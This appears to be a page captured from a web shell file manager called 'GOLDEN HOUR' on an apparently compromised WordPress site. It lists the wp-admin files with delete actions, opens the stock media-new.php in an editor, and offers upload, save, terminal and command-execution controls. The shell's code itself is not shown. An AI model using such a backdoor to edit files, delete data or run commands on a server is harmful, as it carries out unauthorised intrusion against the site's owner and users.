GOLDEN HOUR
DIR: /home/vlabbdco/public_html/LV/wp-admin
UP
UPLOAD
Name
Size
Action
about.php
18.82 KB
DEL
admin-ajax.php
4.83 KB
DEL
admin-footer.php
2.76 KB
DEL
admin-functions.php
406 B
DEL
admin-header.php
8.82 KB
DEL
admin-post.php
2 KB
DEL
admin.php
12.26 KB
DEL
async-upload.php
4.68 KB
DEL
authorize-application.php
10.09 KB
DEL
comment.php
11.29 KB
DEL
contribute.php
5.49 KB
DEL
credits.php
3.67 KB
DEL
[ css ]
-
DEL
custom-background.php
416 B
DEL
custom-header.php
426 B
DEL
customize.php
10.61 KB
DEL
edit-comments.php
14.38 KB
DEL
edit-form-advanced.php
28.63 KB
DEL
edit-form-blocks.php
11.74 KB
DEL
edit-form-comment.php
8.34 KB
DEL
edit-link-form.php
6.21 KB
DEL
edit-tag-form.php
10.45 KB
DEL
edit-tags.php
21.91 KB
DEL
edit.php
19.43 KB
DEL
erase-personal-data.php
7.36 KB
DEL
error_log
1.84 KB
DEL
export-personal-data.php
7.76 KB
DEL
export.php
11.01 KB
DEL
freedoms.php
4.43 KB
DEL
[ images ]
-
DEL
import.php
7.47 KB
DEL
[ includes ]
-
DEL
index.php
7.68 KB
DEL
install-helper.php
6.8 KB
DEL
install.php
17.09 KB
DEL
[ js ]
-
DEL
link-add.php
742 B
DEL
link-manager.php
4.26 KB
DEL
link-parse-opml.php
2.63 KB
DEL
link.php
2.7 KB
DEL
load-scripts.php
1.66 KB
DEL
load-styles.php
2.56 KB
DEL
[ maint ]
-
DEL
media-new.php
3.18 KB
DEL
media-upload.php
3.49 KB
DEL
media.php
763 B
DEL
menu-header.php
9.84 KB
DEL
menu.php
16.75 KB
DEL
moderation.php
307 B
DEL
ms-admin.php
196 B
DEL
ms-delete-site.php
4.19 KB
DEL
ms-edit.php
216 B
DEL
ms-options.php
223 B
DEL
ms-sites.php
215 B
DEL
ms-themes.php
217 B
DEL
ms-upgrade-network.php
219 B
DEL
ms-users.php
215 B
DEL
my-sites.php
4.74 KB
DEL
nav-menus.php
47.76 KB
DEL
[ network ]
-
DEL
network.php
5.35 KB
DEL
options-discussion.php
15.58 KB
DEL
options-general.php
16.79 KB
DEL
options-head.php
492 B
DEL
options-media.php
6.35 KB
DEL
options-permalink.php
21.12 KB
DEL
options-privacy.php
9.97 KB
DEL
options-reading.php
10.07 KB
DEL
options-writing.php
9.06 KB
DEL
options.php
13.3 KB
DEL
plugin-editor.php
13.39 KB
DEL
plugin-install.php
6.78 KB
DEL
plugins.php
28.82 KB
DEL
post-new.php
2.64 KB
DEL
post.php
9.85 KB
DEL
press-this.php
2.33 KB
DEL
privacy-policy-guide.php
3.67 KB
DEL
privacy.php
2.41 KB
DEL
profile.php
283 B
DEL
revision.php
5.47 KB
DEL
setup-config.php
17.33 KB
DEL
site-editor.php
5.96 KB
DEL
site-health-info.php
3.97 KB
DEL
site-health.php
10.14 KB
DEL
term.php
2.2 KB
DEL
theme-editor.php
15.15 KB
DEL
theme-install.php
23.35 KB
DEL
themes.php
46.89 KB
DEL
tools.php
3.43 KB
DEL
update-core.php
45.2 KB
DEL
update.php
12.43 KB
DEL
upgrade-functions.php
341 B
DEL
upgrade.php
5.55 KB
DEL
upload.php
14.84 KB
DEL
[ user ]
-
DEL
user-edit.php
39.07 KB
DEL
user-new.php
23.99 KB
DEL
users.php
23.29 KB
DEL
widgets-form-blocks.php
4.39 KB
DEL
widgets-form.php
19.17 KB
DEL
widgets.php
1.09 KB
DEL
Edit: media-new.php
<?php /** * Manage media uploaded file. * * There are many filters in here for media. Plugins can extend functionality * by hooking into the filters. * * @package WordPress * @subpackage Administration */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'upload_files' ) ) { wp_die( __( 'Sorry, you are not allowed to upload files.' ) ); } wp_enqueue_script( 'plupload-handlers' ); $post_id = 0; if ( isset( $_REQUEST['post_id'] ) ) { $post_id = absint( $_REQUEST['post_id'] ); if ( ! get_post( $post_id ) || ! current_user_can( 'edit_post', $post_id ) ) { $post_id = 0; } } if ( $_POST ) { if ( isset( $_POST['html-upload'] ) && ! empty( $_FILES ) ) { check_admin_referer( 'media-form' ); // Upload File button was clicked. $upload_id = media_handle_upload( 'async-upload', $post_id ); if ( is_wp_error( $upload_id ) ) { wp_die( $upload_id ); } } wp_redirect( admin_url( 'upload.php' ) ); exit; } // Used in the HTML title tag. $title = __( 'Upload New Media' ); $parent_file = 'upload.php'; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'You can upload media files here without creating a post first. This allows you to upload files to use with posts and pages later and/or to get a web link for a particular file that you can share. There are three options for uploading files:' ) . '</p>' . '<ul>' . '<li>' . __( '<strong>Drag and drop</strong> your files into the area below. Multiple files are allowed.' ) . '</li>' . '<li>' . __( 'Clicking <strong>Select Files</strong> opens a navigation window showing you files in your operating system. Selecting <strong>Open</strong> after clicking on the file you want activates a progress bar on the uploader screen.' ) . '</li>' . '<li>' . __( 'Revert to the <strong>Browser Uploader</strong> by clicking the link below the drag and drop box.' ) . '</li>' . '</ul>', ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://wordpress.org/documentation/article/media-add-new-screen/">Documentation on Uploading Media Files</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>' ); require_once ABSPATH . 'wp-admin/admin-header.php'; $form_class = 'media-upload-form type-form validate'; if ( get_user_setting( 'uploader' ) || isset( $_GET['browser-uploader'] ) ) { $form_class .= ' html-uploader'; } ?> <div class="wrap"> <h1><?php echo esc_html( $title ); ?></h1> <form enctype="multipart/form-data" method="post" action="<?php echo esc_url( admin_url( 'media-new.php' ) ); ?>" class="<?php echo esc_attr( $form_class ); ?>" id="file-form"> <?php media_upload_form(); ?> <script type="text/javascript"> var post_id = <?php echo absint( $post_id ); ?>, shortform = 3; </script> <input type="hidden" name="post_id" id="post_id" value="<?php echo absint( $post_id ); ?>" /> <?php wp_nonce_field( 'media-form' ); ?> <div id="media-items" class="hide-if-no-js"></div> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php';
SAVE FILE
TERMINAL
EXEC